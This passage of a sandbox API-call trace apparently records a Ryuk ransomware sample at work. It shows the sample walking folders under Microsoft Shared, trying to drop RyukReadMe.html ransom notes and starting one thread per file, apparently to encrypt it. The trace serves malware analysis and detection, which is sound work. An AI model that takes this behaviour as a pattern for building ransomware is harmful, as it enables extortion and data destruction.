	[0158.627] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0158.627] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0158.629] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.630] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1
	[0158.630] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x7c, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1
	[0158.630] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1
	[0158.630] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1
	[0158.630] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x7c, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0
	[0158.630] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0158.630] SetLastError (dwErrCode=0x0) 
	[0158.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.631] GetLastError () returned 0x5
	[0158.631] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0158.631] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.631] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1
	[0158.631] SetLastError (dwErrCode=0x0) 
	[0158.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.632] GetLastError () returned 0x5
	[0158.632] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0158.632] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0158.824] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.824] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1
	[0158.824] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.825] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220
	[0158.826] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.827] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1
	[0158.827] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c
	[0158.831] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.831] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1
	[0158.831] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.832] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0
	[0158.834] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.835] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1
	[0158.835] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190
	[0158.837] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.838] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x7c, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1
	[0158.838] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8
	[0158.840] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.841] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1
	[0158.841] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0
	[0158.843] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.844] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1
	[0158.844] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240
	[0158.846] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.846] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1
	[0158.846] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0
	[0158.851] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.851] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1
	[0158.851] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.852] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc
	[0158.855] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.855] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1
	[0158.856] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0158.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250
	[0159.155] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.155] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1
	[0159.155] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0159.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4
	[0159.158] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.158] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1
	[0159.159] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0159.159] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4
	[0159.162] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.163] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1
	[0159.163] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0159.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0159.165] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.166] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1
	[0159.166] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0159.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0159.169] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.170] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1
	[0159.170] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0159.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0159.173] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.173] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0
	[0159.174] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0159.846] SetLastError (dwErrCode=0x0) 
	[0159.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.229] GetLastError () returned 0x5
	[0160.229] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0160.229] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.229] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0160.229] SetLastError (dwErrCode=0x0) 
	[0160.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0160.230] GetLastError () returned 0x5
	[0160.230] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0160.230] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0160.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0160.368] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
